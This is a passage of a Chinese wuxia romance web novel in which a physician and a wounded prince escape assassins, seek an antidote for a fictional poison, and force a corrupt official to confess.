姜绾歌狐疑地接过瓷瓶,打开嗅了嗅:七叶莲?你随身带这个? 习惯了。顾云霁轻描淡写地说,行走江湖总要备些救命药。 姜绾歌将信将疑地倒出些粉末,与自己配的药混合。当药粉落在伤口上时,顾云霁只是微微蹙眉,不像方才那般剧痛。 果然有效...姜绾歌小声嘀咕,手上动作却不自觉地轻柔起来。她取来干净的纱布,俯身为他包扎。 这个姿势让她几乎埋首在他颈间,能清晰地闻到他身上混合了血腥味的沉水香。 姜姑娘。顾云霁突然开口,呼吸拂过她耳畔。 嗯?她下意识应声,随即意识到这应答太过自然,立刻板起脸,有话快说。 你头发上沾了药草。他伸手从她发间取下一片干枯的草药叶片,指尖若有若无地擦过她的耳垂。 第124章 凤凰泪 姜绾歌猛地直起身,后腰撞上药柜,几个瓷瓶叮当作响。她强作镇定地继续包扎,却把绷带系得过分紧了。 谋杀亲夫啊?顾云霁调侃道。 再胡说八道我就往伤口上撒盐!姜绾歌恶狠狠地威胁,耳尖却悄悄红了。 包扎完毕,她转身去收拾药碾,故意弄出很大声响。顾云霁慢悠悠地穿好衣服,突然咦了一声。 怎么了?姜绾歌头也不回地问。 我的玉佩不见了。顾云霁声音罕见地凝重,可能是掉在暗道里了。 姜绾歌这才转身:很重要? 家母遗物。顾云霁垂着眼睫,阴影遮住了他的表情,上面刻着林氏家徽。 姜绾歌想起那枚曾在他腰间见过的白玉佩,咬了咬唇:等风声过去,我陪你回去找。 顾云霁抬眼,眸中闪过一丝讶异:姜姑娘这是在关心我? 我是怕你死了没人付诊金!姜绾歌把药柜关得震天响,躺好!我去煎药。 她快步走向后厨,却在门口绊了一下。顾云霁的低笑声从身后传来,让她恨不得找个地缝钻进去。 药罐里的水咕嘟咕嘟冒着泡,姜绾歌盯着跳动的火苗出神。 顾云霁的伤口比她预想的要深,箭头如果再偏半寸就会伤及筋脉。想到他在暗道里一直忍着这样的伤痛保护自己,心里莫名泛起一丝异样。 药要煎干了。 低沉的嗓音突然在耳边响起,姜绾歌吓了一跳,差点打翻药罐。顾云霁不知何时站在了她身后,左手撑在灶台上,将她半圈在怀中。 不是让你躺着吗!她慌忙往旁边躲,却不小心碰到他的伤臂。 顾云霁脸色一白,却仍挂着玩世不恭的笑:担心姜姑娘把我毒死,来监督一下。 姜绾歌把药勺塞进他左手:自己看着火!说完逃也似地冲出门去。 院中晨风拂面,总算吹散了些脸上的燥热。姜绾歌深吸一口气,突然发现自己的指尖还残留着沉水香的气息。她懊恼地在衣襟上擦了擦,却听到屋内传来顾云霁的咳嗽声。 犹豫片刻,她还是转身走回医馆。推门瞬间,却见顾云霁正对着铜镜查看肩头另一处伤口,那伤周围泛着诡异的青色—— 是龙血砂的痕迹! 姜绾歌盯着顾云霁肩头泛青的伤口,手指微微发抖:这是龙血砂的毒痕...至少五天了,你怎么还活着? 顾云霁拉上衣襟,从怀中取出一个玉盒:靠这个。盒中三颗碧绿药丸泛着金光,金纹碧灵丹,我母亲的嫁妆。 你母亲是... 西陵国公主。顾云霁语气平淡,二十年前和亲来的。 姜绾歌倒吸一口凉气。 西陵国与南靖交战百年,先帝时期才短暂和亲。 她突然想通了很多事——为何顾云霁身为皇子却处处受制,为何听雨阁要置他于死地。 所以龙血砂... 西陵皇室秘毒。顾云霁合上玉盒,母亲留给我的碧灵丹只剩最后三颗。 姜绾歌转身翻出祖父的医案,快速查找:找到了!解药需要七叶莲、断肠草和...她指尖一顿,凤凰泪? 生长在落日崖的赤色灵草。顾云霁皱眉,但那里是听雨阁的地盘。 现在就去。姜绾歌已经开始收拾药囊。 顾云霁按住她的手:太危险。 姜绾歌甩开他:要么跟我走,要么等死! 两人从后门溜出医馆时,天色已近黄昏。落日崖在城北十里处,沿途必须穿过闹市。 姜绾歌给顾云霁戴上斗笠,自己则扮作农妇模样。 低头。她压低声音,拽着顾云霁避开一队巡逻官兵。 顾云霁突然将她拉进小巷:看那边。 茶摊旁,几个黑衣人正拿着画像盘查路人。画像上赫然是顾云霁的侧脸。 你的玉佩... 嗯,落到他们手里了。顾云霁声音发冷,走小路。 两人沿着排水沟潜行,快到城门时,顾云霁突然踉跄了一下。 毒性发作了?姜绾歌扶住他,触手一片冰凉。 没事。顾云霁强撑着站稳,嘴角却渗出血丝。 姜绾歌不由分说地扯开他衣领,只见那片青色已经蔓延到心口。 她立刻掏出银针,扎在他颈侧几处穴位上。 暂时封住心脉。她声音发颤,我们必须加快速度。 出城后,两人抄近道直奔落日崖。夕阳将崖壁染成血色,陡峭的山路上布满碎石。 凤凰泪只在日落时分开花。姜绾歌指着崖顶一抹红色,就在那里! 她刚要上前,顾云霁猛地拉住她:有埋伏。 崖边树丛中寒光一闪,三个黑衣人跃出,为首的冷笑道:王爷果然来了。阁主说得对,您一定会来找解药。 顾云霁将姜绾歌护在身后:跑! 想走?黑衣人挥手,放箭! 箭雨袭来,顾云霁挥袖挡开大部分,却仍有一支射中他左腿。姜绾歌趁机甩出银针,精准命中两名杀手的咽喉。 最后一个黑衣人举刀劈来,顾云霁强忍剧痛,折扇飞出,割断了对方手腕。惨叫声中,姜绾歌补上一针,黑衣人轰然倒地。 快!她扶起顾云霁,太阳要落山了! 两人跌跌撞撞爬上崖顶。那株赤色灵草正在夕阳下绽放,花蕊中凝结着露珠般的液体——正是传说中的凤凰泪。 姜绾歌刚要采摘,顾云霁突然闷哼一声跪倒在地。他胸前的青衣已经被血浸透,龙血砂的毒性正在急速蔓延。 撑住!姜绾歌颤抖着摘下灵草,迅速捣碎成汁,喝下去! 顾云霁已经意识模糊,药汁大半洒在衣襟上。姜绾歌一咬牙,自己含住药汁,俯身渡入他口中。 苦涩的汁液在两人唇齿间蔓延,顾云霁的睫毛颤了颤,终于咽下药汁。 片刻后,他胸口的青色开始缓缓消退。 有效!姜绾歌喜极而泣,又喂他服下另外两味药材。 暮色四合时,顾云霁终于睁开眼睛。 他虚弱地抬手,擦去姜绾歌脸上的血迹和泪水:为什么冒险救我? 姜绾歌别过脸:你死了,谁帮我对付听雨阁? 顾云霁低笑,突然神色一凛:小心! 一支冷箭破空而来,他抱着姜绾歌滚到岩石后。崖下传来杂乱的脚步声——更多的追兵到了。 第125章 情哥哥情妹妹 落日崖上的血腥味还没散干净。追兵举着火把在崖下搜找,叫骂声越来越近。 姜绾歌咬着牙,把顾云霁沉重的胳膊往自己肩上又拽了拽。 你该减肥了。她喘着气说,额头上全是汗。 顾云霁的左腿被箭射伤,血把半条裤腿都浸透了。他疼得脸色发白,却还笑得出来:姜姑娘这是嫌弃我? 嫌弃得很。姜绾歌没好气地回他,突然脚下一滑。 顾云霁眼疾手快地搂住她的腰,自己却撞在岩壁上,闷哼一声。 活该!姜绾歌嘴上骂着,手却赶紧去摸他的伤口,让你逞能! 嘘——顾云霁突然捂住她的嘴,有人来了。 两人屏住呼吸,紧贴在岩缝里。 追兵的火把光就在头顶晃,脚步声近得能听见靴子踩碎石子。 妈的,跑哪去了?一个粗嗓门骂道。 肯定没走远,继续找! 姜绾歌的后背紧贴着顾云霁的胸膛,能感觉到他的心跳又快又重。 他的呼吸喷在她耳后,热得发烫。 追兵骂骂咧咧地走远了。 呼——姜绾歌长出一口气,这才发现自己的手死死抓着顾云霁的袖子。 舍不得松手?顾云霁在她耳边低声问。 姜绾歌像被烫到一样甩开他:谁稀罕碰你!腿不想要了是吧? 要,怎么不要。顾云霁扶着岩壁慢慢站起来,还得留着腿陪姜姑娘逛街呢。 闭嘴吧你!姜绾歌气得想踹他,看他惨白的脸色又忍住了,能走吗? 顾云霁试着迈了一步,疼得倒吸冷气:劳烦姜姑娘再当回拐杖? 诊金翻倍。 成,把我整个人赔给你都行。 呸!谁要你! 两人一边斗嘴一边慢慢往山下挪。天快亮时,找到个破旧的猎人小屋。 屋里又冷又潮,但总算能歇口气。姜绾歌扶着顾云霁靠墙坐下,赶紧去生火。 你会生火?顾云霁有点惊讶。 姜绾歌白他一眼,胡乱编了个理由:我十岁就跟着爷爷上山采药,这点事算什么。 火苗蹿起来,屋里总算有了点暖意。姜绾歌跪在顾云霁跟前,小心地卷起他的裤腿。 箭伤血肉模糊,看得她心头一颤。 疼就叫出来,不笑话你。她低着头说。 顾云霁轻笑:姜姑娘心疼了? 我是怕你咬到舌头!姜绾歌用力按了下伤口边缘。 “嘶……”尖锐的疼痛瞬间席卷,顾云霁猛地吸了口气,额角的冷汗成串滚落。 但他咬着牙,从齿缝里挤出话,“姜姑娘这手……力道要是再重上三分,可就不是治腿……是打算帮听雨阁再补一刀了?” 姜绾歌眼皮都没抬,手下动作精准利落:“能有力气说风凉话,看来离死还远。真想让你安静点也简单。” 她抬眼飞快瞥了他一下,眼神清冷,“要不要试试我的哑穴针法?免费赠送。” 顾云霁看着她专注而清冷的侧脸,低低地笑了,牵动了肩伤,笑容扭曲了一下,声音却带着一丝不易察觉的愉悦:“……还是算了。姜姑娘妙手仁心,不跟你抢‘阎王’的活儿。” 顾云霁一直盯着她看,看得她浑身不自在。 看什么看!姜绾歌凶他。 看我家姜姑娘好看。顾云霁笑眯眯的。 谁是你家的!姜绾歌气得把布带狠狠一勒。 嗷!顾云霁惨叫,谋杀亲夫啊! 再胡说八道我真弄死你! 包扎完,姜绾歌从包袱里掏出最后一块干粮,掰成两半。 给。她把大的那块递给他。 顾云霁没接:你吃吧,我不饿。 少来!姜绾歌直接把饼塞他手里,流那么多血还不饿?想晕在半路上拖累我是不是? 顾云霁看着她气鼓鼓的样子,突然笑了:姜姑娘,你关心人的方式真特别。 吃你的吧!姜绾歌背过身去啃自己那块小饼。 屋里安静下来,只有柴火偶尔的噼啪声。 我们得尽快回京。顾云霁突然说。 姜绾歌转头看他:你这腿... 不碍事。顾云霁的眼神变得锐利,现在全京城恐怕都以为我死了。正好看看,谁在哭,谁在笑。 顾云霁眯着眼睛看着窗外:所以必须赶在他们有所动作前回去。 姜绾歌想了想:天亮后我找个农家买身旧衣服,你得乔装一下。 听姜姑娘的。顾云霁又恢复了那副嬉皮笑脸的样子。 正经点!姜绾歌瞪他,还有,路上不许叫我姜姑娘,太显眼。 那叫什么?顾云霁凑近,娘子?媳妇儿? 姜绾歌抄起一根柴火就要打他:叫妹妹!就说我们是兄妹! 情哥哥情妹妹? 顾云霁! 天刚蒙蒙亮,姜绾歌就溜出去找衣服。回来时看见顾云霁正在擦他的匕首。 给。她扔过去一套粗布衣裳,换上。 顾云霁拎起那件打补丁的褂子,一脸嫌弃:这么丑? 爱穿不穿!姜绾歌把自己那套往身上比了比,我还特意挑了大号的... 顾云霁突然不说话了。姜绾歌抬头,发现他正盯着自己看,眼神有点复杂。 怎么了?她莫名其妙。 没什么。顾云霁移开视线,就是没想到,堂堂姜大小姐,会为我做这些。 姜绾歌哼了一声:少自作多情。我是怕你死了,听雨阁下一个目标就是我。 顾云霁笑笑没说话,低头换衣服。姜绾歌赶紧转过身去。 姜姑娘害羞了?身后传来欠揍的声音。 换你的衣服! 等两人都换好装,姜绾歌又用灶灰给顾云霁抹了脸,把他俊俏的轮廓遮了遮。 低头,弓着点背。她指挥道,对,就这样,看起来像个病秧子。 顾云霁乖乖照做,突然问:那你呢?这么漂亮的小姑娘,穿再破也藏不住啊。 姜绾歌脸一热:少油嘴滑舌!我也要扮丑的。 她拆了发髻,随便挽了个村姑头,又往自己脸上抹了两道灰。 顾云霁看了直摇头:不行,还是太好看。 那怎么办?姜绾歌恼了。 顾云霁突然伸手,在她脸上又抹了几道:这样差不多。 他的手指粗糙温热,碰到她脸颊时,两人都愣了一下。 好了!姜绾歌猛地后退,走吧! 他们在山路上拦了辆牛车。 赶车的是个老实巴交的老农。 第126章 医术好,脾气差 大爷!姜绾歌立刻换了副可怜巴巴的腔调,我和我哥去京城投亲,路上遇到土匪,我哥的腿... 她说着就要哭出来。顾云霁在旁边看得目瞪口呆。 老农心软了:上来吧,正好我回城。 牛车慢悠悠地往京城晃。顾云霁凑到姜绾歌耳边:没看出来,姜姑娘戏这么好? 姜绾歌掐他一把:闭嘴,病秧子哥哥就该有病秧子的样子! 顾云霁立刻装出虚弱的样子,靠在她肩上:妹妹说得对... 姜绾歌气得想把他推下车,又怕露馅,只能忍着。 太阳渐渐升高,京城的轮廓出现在远处。顾云霁的眼神变得深沉。 准备好了吗?他轻声问。 姜绾歌点点头:回去后,先想办法联系你信任的人。 嗯。顾云霁看着越来越近的城门,嘴角勾起一抹冷笑,该让那些躲在暗处的人,付出代价了。 牛车慢悠悠地晃到第二天傍晚,京城的城墙终于出现在眼前。 姜绾歌推了推靠在她肩上装睡的顾云霁:到了,别装了。 顾云霁懒洋洋地睁开眼:姜姑娘的肩膀挺舒服的。 下去!姜绾歌一把推开他,差点把他推下牛车。 两人提前下了车,混在进城的人群里。 守城的士兵扫了他们一眼,看到是两个脏兮兮的乡下人,挥挥手就放行了。 一进城,热闹的街市声扑面而来。 叫卖的小贩,奔跑的孩子,还有各种食物的香味。 姜绾歌的肚子不争气地叫了一声。 饿了?顾云霁凑过来问。 姜绾歌瞪他:关你什么事! 顾云霁笑笑,突然拉住她的手腕:跟我来。 他在小巷子里七拐八绕,最后停在一扇破旧的后门前。 抬手敲了三下,停顿,又敲两下,还学了两声鸟叫。 门吱呀一声开了条缝,露出一张中年男人的脸。 那人看到顾云霁,眼睛一下子亮了:公、公子!您还活着! 小声点,福伯。顾云霁压低声音,进去说。 福伯赶紧让开,顾云霁拉着姜绾歌进了院子。这是个堆满柴火的小院,旁边屋子里飘出药草味。 这是福伯,我府上的老管家。顾云霁介绍道,又对福伯说,这位是姜姑娘,我的救命恩人。医术好,脾气差。 姜绾歌狠狠踩了他一脚:你说谁脾气差? 哎哟!顾云霁抱着脚跳,你看,我没说错吧? 福伯看着两人斗嘴,忍不住笑了:姜姑娘,多谢您救了我家公子。我这就去准备伤药。 等福伯出去,姜绾歌开始检查顾云霁的伤口:接下来你打算怎么办?现在全京城都以为你死了吧? 顾云霁靠在床边:当然是给那些盼着我死的人一个惊喜。 惊喜?姜绾歌手上用力,故意按了下他的伤口。 嘶——轻点!顾云霁龇牙咧嘴,我的计划是... 姜绾歌给他包扎好,站起身:那你打算怎么... 话没说完,福伯慌慌张张地推门进来:公子!外面有可疑的人在盯梢! 顾云霁一下子坐直了:几个? 三个。福伯擦擦汗,其中一个下巴有疤的,前几天就在城北出现过。 姜绾歌和顾云霁对视一眼。 来得真快。顾云霁眯起眼睛,看来有人很关心我的死活啊。 姜绾歌走到窗边,悄悄往外看:现在怎么办?你这腿伤还没好... 怕什么?顾云霁突然笑了,他们越急,越容易露出马脚。 福伯忧心忡忡:公子,要不要老奴去通知... 不用。顾云霁摆摆手,福伯,你去准备些吃的,我和姜姑娘都饿了。 等福伯出去,姜绾歌皱眉:你还有心情吃饭? 当然。顾云霁理所当然地说,吃饱了才有力气打架。 你这样子还能打架?姜绾歌指着他包扎好的腿。 顾云霁冲她眨眨眼:不是还有你吗?姜大神医。 姜绾歌翻了个白眼:我凭什么帮你? 凭...顾云霁突然凑近,在她耳边轻声说,你舍不得我死。 姜绾歌一把推开他:少自作多情!我是怕你死了没人付诊金! 那更要保护好我了。顾云霁笑得像只狐狸,要是我死了,你的诊金找谁要去? 姜绾歌气得想打人,这时福伯端着饭菜进来了。简单的粥和馒头,还有一碟咸菜。 将就着吃点吧。福伯歉意地说。 顾云霁拿起馒头咬了一口:好吃。福伯的手艺还是这么好。 姜绾歌也饿了,顾不上跟他斗嘴,埋头吃起来。 吃到一半,顾云霁突然说:福伯,你去前门转一圈,看看那几个人还在不在。 福伯点点头出去了。姜绾歌放下碗:你到底想干什么? 引蛇出洞。顾云霁擦擦嘴,既然他们找上门来了,不如将计就计。 你疯了吗?姜绾歌压低声音,你现在这个样子... 所以需要姜姑娘配合啊。顾云霁笑眯眯地说,我们来演场戏。 什么戏? 苦肉计。顾云霁凑过来,小声说了他的计划。 姜绾歌听完,一脸嫌弃:你这计划漏洞百出。 那姜姑娘有更好的主意? 姜绾歌想了想:有。但你要听我的。 成交。顾云霁爽快地答应。 没过多久,福伯回来了:公子,那些人还在,而且又多了一个。 很好。顾云霁站起身,按计划行事。 姜绾歌扶着他往后门走,突然停下:等等。 怎么了? 姜绾歌从药箱里拿出一个小瓶子,倒出些粉末抹在顾云霁脸上:让你看起来更惨一点。 顾云霁苦笑:姜姑娘这是趁机报复吧? 少废话。姜绾歌又往他衣服上洒了些红色的药水,看起来像血迹,好了,现在像个重伤垂死的人了。 两人悄悄从后门溜出去,故意往人少的小巷走。果然,没走多远,就听到身后有脚步声跟上来。 他们上钩了。顾云霁低声说。 姜绾歌扶着他,装作很吃力的样子:再坚持一下,快到了。 拐过一个弯,四个黑衣人拦住了去路。为首的那个下巴有道疤,狞笑着说:王爷,没想到您还活着啊。 第127章 杜如晦 顾云霁虚弱地靠在姜绾歌身上:你们...是谁派来的? 将死之人,问这么多干什么?疤脸男拔出刀,阁主让我们送你一程。 姜绾歌突然笑了:就凭你们几个? 疤脸男一愣:小丫头,不想死就滚开! 该滚的是你们。姜绾歌从袖中摸出几根银针。 顾云霁也站直了身子,哪还有半点虚弱的样子:说吧,谁派你们来的?说了可以留个全尸。 疤脸男意识到中计了,怒吼一声冲上来。姜绾歌手腕一抖,银针飞出,正中两人咽喉。那两人立刻倒地抽搐。 顾云霁虽然腿伤未愈,但身手依然敏捷,三两下就制服了另一个。只剩疤脸男站在原地,脸色惨白。 现在可以说了吗?顾云霁冷冷地问。 疤脸男突然转身就跑,姜绾歌又是一针,他腿一软跪倒在地。 我说!我说!疤脸男崩溃了,是杜大人!兵部侍郎杜如晦!玉佩在他手里! 顾云霁和姜绾歌对视一眼。 果然是他。顾云霁冷笑。 姜绾歌收起银针:现在怎么办?直接去找他? 不急。顾云霁看向疤脸男,你先回去告诉杜如晦,就说...本王要亲自登门拜访。 疤脸男连连点头,连滚带爬地跑了。 姜绾歌皱眉:就这么放他走? 总得有人去报信啊。顾云霁伸了个懒腰,走吧,回去准备一下。明天,我们去会会这位杜大人。 姜绾歌扶着他往回走:你确定这计划能行? 有姜姑娘在,肯定行。顾云霁冲她眨眨眼。 姜绾歌哼了一声:要是失败了,我可不会给你收尸。 放心。顾云霁笑道,我舍不得让姜姑娘当寡妇。 顾云霁! 第二天一早,姜绾歌正在院子里捣药,福伯慌慌张张地跑进来。 姜姑娘!不好了!福伯急得直搓手,公子他、他不见了! 姜绾歌手里的药杵咣当掉在地上:什么叫不见了? 老奴刚才去送早膳,屋里没人!床铺都是凉的!福伯急得快哭了,公子腿伤还没好,能去哪儿啊! 姜绾歌皱眉,突然想到什么,冲进顾云霁昨晚住的屋子。果然,在枕头底下发现一张字条: 姜姑娘:去取点东西,午时前回来。若回不来...记得来给我收尸,你的债主 这个疯子!姜绾歌气得把字条揉成一团。 姜姑娘,现在怎么办?福伯六神无主地问。 姜绾歌深吸一口气:福伯,你知道杜如晦的府邸在哪儿吗? 知、知道,就在城东... 带我去。姜绾歌已经收拾好药箱,越快越好。 与此同时,杜府书房内。 杜如晦正把玩着一块白玉佩,玉佩上刻着西陵王室独有的火焰纹徽记。 他得意地对身旁的黑衣人说:靖安王这次死定了。等明日早朝,我就把这玉佩呈给皇上... 恐怕杜大人等不到明日了。一个带笑的声音突然从窗外传来。 杜如晦猛地回头,只见顾云霁好整以暇地坐在窗台上,手里还拿着个咬了一半的苹果。 你!杜如晦脸色大变,你不是已经... 死了?顾云霁跳进屋内,随手把苹果核往后一抛,杜大人这么惦记我,我怎么能不来看看? 黑衣人立刻拔刀,顾云霁却比他更快,折扇一挥就击落了刀。 别紧张。顾云霁笑眯眯地说,我就是来拿回我的东西。 杜如晦强装镇定:王爷擅闯朝廷命官府邸,这是大罪! 哦?顾云霁挑眉,那杜大人派人追杀当朝亲王,又该当何罪? 你血口喷人!杜如晦拍案而起,额头渗出冷汗。 是吗?顾云霁突然从袖中掏出一块染血的布条,这是从刺客身上扯下的衣料,上面绣着杜府暗卫的标记。需要找绣娘来对质吗? 杜如晦脸色铁青:区区布条能证明什么... 再加上这个如何?顾云霁又取出一封密信,你给刺客头领的密令,字迹需要找翰林院学士鉴定吗? 书房门突然被踹开。姜绾歌手持银针冲了进来,身后跟着十几个手持棍棒的市井汉子。 杜大人。姜绾歌冷笑,您府上的侍卫都睡得很香呢,我在他们茶里加了点安神的药。 杜如晦猛地抽出墙上宝剑:你们这是要造反? 不敢。顾云霁慢条斯理地卷起密信,只要杜大人交还我的玉佩,再写下供状,我们立刻就走。 休想!杜如晦举剑刺来。 姜绾歌手腕一抖,三根银针破空而出,精准扎在杜如晦持剑的右手腕上。宝剑当啷一声砸在地上。 杜大人。顾云霁慢悠悠地弯腰捡起剑,剑尖在杜如晦面前晃了晃,您有两个选择。 杜如晦捂着渗血的手腕,脸色阴沉得可怕:靖安王,你以为这样就能威胁本官? 第一,顾云霁像是没听见他的话,继续道,我把这些证据交给刑部。他用剑尖挑起那封密信,谋杀亲王,证据确凿,至少流放三千里。 哈哈哈!杜如晦突然大笑,脸上的肥肉都在颤抖,就凭你?一个失了圣心的王爷?刑部会信你的鬼话? 顾云霁不慌不忙地从怀中又掏出一块令牌:认识这个吗?刑部侍郎的私令。猜猜是谁给我的? 杜如晦的笑容僵在脸上。 第二,顾云霁将剑尖抵在杜如晦喉间,你辞官归乡,从此不再踏足京城。 书房内一片死寂。杜如晦的喉结上下滚动,冷汗顺着太阳穴滑落。 选吧。顾云霁的声音轻得像羽毛,却重若千钧。 杜如晦突然暴起,左手从靴筒抽出一把匕首,直刺顾云霁心口! 小心!姜绾歌惊呼。 顾云霁侧身避开,剑锋划过杜如晦的左臂,留下一道血痕。杜如晦吃痛后退,撞翻了身后的书架。 杜大人这是选了第一条?顾云霁挑眉。 杜如晦喘着粗气,眼中闪过一丝疯狂:你以为就凭你们两个,能活着走出杜府?他突然扯开嗓子大喊,来人!有刺—— 姜绾歌又是一针飞出,这次扎在他颈侧。杜如晦的声音戛然而止,只能发出嗬嗬的气音。 忘了告诉您,姜绾歌冷声道,这针能让人暂时失声。 杜如晦惊恐地摸着自己的喉咙,踉跄着后退。 第128章 威胁 顾云霁叹了口气:杜大人,何必呢?他缓步逼近,您背后那位主子,值得您这么拼命吗? 杜如晦瞳孔猛地收缩。 看来我猜对了。顾云霁轻笑,不如这样,您把玉佩还我,写下供状。我保证...他压低声音,不追究您背后之人。 杜如晦眼中闪过挣扎,突然抓起桌上的砚台砸向窗户! 砰的一声巨响,窗户碎裂。 他在求救!姜绾歌脸色一变。 远处立刻传来杂乱的脚步声和呼喊声。 顾云霁眼神一冷,剑尖直接抵上杜如晦的咽喉:看来杜大人是敬酒不吃吃罚酒了。 杜如晦虽然不能说话,但眼中满是挑衅,仿佛在说:你们跑不掉了! “姜姑娘。顾云霁头回头给了姜绾歌一个眼神。 姜绾歌会意,迅速从药囊中取出一个小瓷瓶。 杜如晦眼中终于露出恐惧,拼命摇头。 现在知道怕了?顾云霁冷笑,最后问一次,玉佩在哪? 杜如晦颤抖着指向墙上的山水画。姜绾歌上前掀开画,后面露出一个暗格。 暗格里除了玉佩,还有一叠银票和几封密信。姜绾歌一并收了起来。 写供状。顾云霁把纸笔推到杜如晦面前。 杜如晦握笔的手抖得像筛糠,迟迟不肯落笔。 外面的脚步声越来越近。 快点!姜绾歌催促。 杜如晦突然露出一个诡异的笑容,在纸上写下:你们逃不掉的。 顾云霁眯起眼:看来杜大人是不见棺材不落泪啊。他朝姜绾歌使了个眼色。 姜绾歌打开瓷瓶,捏住杜如晦的鼻子。杜如晦挣扎着,被迫张开嘴呼吸,姜绾歌趁机将瓶中的药粉倒进他嘴里。 咳咳!杜如晦拼命咳嗽,眼中满是惊恐。 别担心,顾云霁轻声道,不是毒药。只是会让你...生不如死而已。 杜如晦突然捂住肚子,脸色惨白,额头冒出豆大的汗珠。他痛苦地蜷缩在地上,无声地哀嚎。 解药在我手里。顾云霁蹲下身,写不写? 杜如晦疯狂点头,爬向书桌,颤抖着写下供状,甚至多写了几条自己的罪状。 姜绾歌检查后点头:可以了。 顾云霁将一粒药丸塞进杜如晦嘴里。片刻后,杜如晦的疼痛缓解,瘫在地上像条死鱼。 记住,顾云霁收起供状,明日午时前,我要看到你的辞呈。否则...他晃了晃手中的供状,这个会出现在刑部尚书的案头。 杜如晦面如死灰地点头。 走!顾云霁拉着姜绾歌冲向窗户。 刚跳出窗外,书房门就被撞开。十几个侍卫冲了进来。 大人!您没事吧? 杜如晦张了张嘴,却发不出声音。他指了指自己的喉咙,又指了指窗户。 追!侍卫头领大喝,有刺客! 顾云霁和姜绾歌在杜府花园中疾奔。身后追兵的火把像一条火龙,越来越近。 分头走!顾云霁推了姜绾歌一把,老地方汇合! 姜绾歌刚要反对,顾云霁已经转身朝另一个方向跑去,还故意弄出很大声响。 在那儿!追兵果然被引开。 姜绾歌咬了咬牙,翻墙出了杜府。 姜绾歌在暗巷中疾奔,粗布衣裳被夜露打湿,紧贴在身上。她拐过三个街口,突然刹住脚步——前方巷口晃过火把的光亮。 搜!每个巷子都不能放过! 她后背紧贴潮湿的砖墙,屏住呼吸。追兵的皮靴踏在青石板上发出清脆的声响,越来越近。 这边没有! 去前面看看! 待脚步声远去,姜绾歌从阴影中闪出,轻盈地翻上一户人家的矮墙。月光下,她看见杜府的侍卫分成四队,正在附近街区展开地毯式搜索。 这个傻子...她攥紧药囊,目光扫向西边——顾云霁最后消失的方向。突然,远处屋顶闪过一道黑影,那熟悉的腾挪姿势让她心头一跳。 没有犹豫,她立刻沿着屋脊追去。几个起落间,那黑影却消失得无影无踪。 见鬼...姜绾歌蹲在翘起的飞檐后,突然听见下方巷子里传来压抑的咳嗽声。 她悄悄探出头,只见顾云霁靠坐在墙角,左手死死按着右腿。月光下,他衣袍下摆已经晕开一片深色。 姜绾歌轻盈地落在他面前,顾云霁猛地抬头,折扇已然出手,在看清是她时才骤然收势。 你怎么...他声音嘶哑,额头上全是冷汗。 闭嘴。姜绾歌蹲下检查他的伤势,手指碰到一片湿热,箭伤崩开了? 顾云霁扯了扯嘴角:小伤...咳咳... 远处又传来呼喝声,姜绾歌一把架起他:能走吗? 勉强... 两人贴着墙根移动,每走几步顾云霁就不得不停下来喘息。转过一个拐角,姜绾歌突然发现这是个死胡同。 该死!她急得跺脚。 顾云霁却低笑起来,指着墙角一堆杂物:帮我挪开那个破柜子。 姜绾歌将信将疑地推开腐朽的木柜,后面竟露出一个狗洞大小的缺口。 你认真的?她瞪大眼睛。 要么钻,要么等死。顾云霁已经开始往洞里爬,我选钻。 姜绾歌咬了咬牙,跟着爬了进去。里面是条狭窄的地道,潮湿阴冷,充斥着霉味和老鼠屎的臭气。 这是... 小时候发现的秘密通道。顾云霁的声音在前方响起,通向城南的废弃染坊。 姜绾歌在黑暗中摸索前行,不时碰到顾云霁的靴底。不知爬了多久,前方终于出现一丝微光。 钻出地道时,两人都成了泥人。顾云霁瘫坐在染池边,脸色白得像纸。姜绾歌撕开他的裤腿,箭伤果然完全崩裂,血肉模糊。 忍着点。她取出银针,快速缝合伤口。 顾云霁咬着不知从哪摸出来的帕子,额角青筋暴起。等姜绾歌包扎完,他整个人已经像从水里捞出来一样。 药...他虚弱地指了指胸口。 姜绾歌从他衣襟里摸出一个小瓷瓶,倒出两粒碧色药丸。顾云霁就着她的手吞下,舌尖不经意擦过她的指尖。 你!姜绾歌触电般缩回手。 不是故意的...顾云霁闭着眼笑,没力气了... 药效发作得很快,他的呼吸渐渐平稳。姜绾歌这才有空打量四周——这是个荒废多年的染坊,破败的布匹像鬼影一样悬挂在横杆上 第129章 喂药 我们暂时安全了。顾云霁睁开眼,杜如晦现在最怕我们把供状交出去,不敢大张旗鼓搜捕。 姜绾歌掏出那叠从杜府顺来的密信:这些是什么? 顾云霁勉强坐起身:看看不就知道了。 借着月光,姜绾歌展开那叠密信。信纸上的字迹工整清晰,内容却让她指尖发凉——全是杜如晦与一个代号青鸾之人的往来密函,字里行间频繁提及龙血砂与西陵密使。 青鸾...顾云霁的声音突然在耳边响起,温热的气息拂过她耳廓,听雨阁真正的阁主。 姜绾歌猛地合上信件:你别突然凑这么近!她耳根发烫,急忙转移话题,我们现在怎么办?你这样子根本走不远。 顾云霁试着站起身,却踉跄了一下:劳烦姜姑娘再当回拐杖? 诊金翻倍。 成,把我整个人赔给你都行。 呸!谁要你! 姜绾歌嘴上嫌弃,却还是架起他的胳膊。两人刚走到染坊门口,远处突然传来犬吠声。 猎犬?姜绾歌脸色一变。 顾云霁眯起眼:杜府驯养的三条西域狼犬,嗅觉极灵。他忽然指向东南方向,杏林堂离这不远,但正门肯定有人守着。 姜绾歌咬了咬唇:走后院药圃。周管事每晚子时都会去查库房,那时后院没人。 夜色渐深,两人借着月光在巷陌间穿行。顾云霁的伤势显然比表现出来的更严重,走到半路时,整个人已经半挂在姜绾歌身上。 坚持住,姜绾歌感觉到肩头的重量越来越沉,就快到了。 转过最后一个街角,杏林堂熟悉的青砖院墙映入眼帘。姜绾歌正要松口气,突然拽着顾云霁躲进阴影——两个黑衣人正蹲在杏林堂屋顶上瞭望。 果然派人守着了。顾云霁声音虚弱,还有其他入口吗? 姜绾歌思索片刻,眼睛一亮:有。 她带着顾云霁绕到杏林堂西侧,那里有棵百年老槐树,粗壮的枝丫伸进院内。 爬树?顾云霁挑眉,姜姑娘还有这本事? 少瞧不起人。姜绾歌卷起袖子,我八岁就能爬这棵树偷吃后厨的桂花糕了。 她先利落地攀上树干,然后垂下早就系在树上的麻绳。顾云霁抓着绳子,却因腿伤使不上力。姜绾歌见状,直接跳下来架起他:踩着我的肩上去。 顾云霁难得没开玩笑,借着她的支撑艰难爬上树杈。姜绾歌紧随其后,两人悄无声息地落入后院。 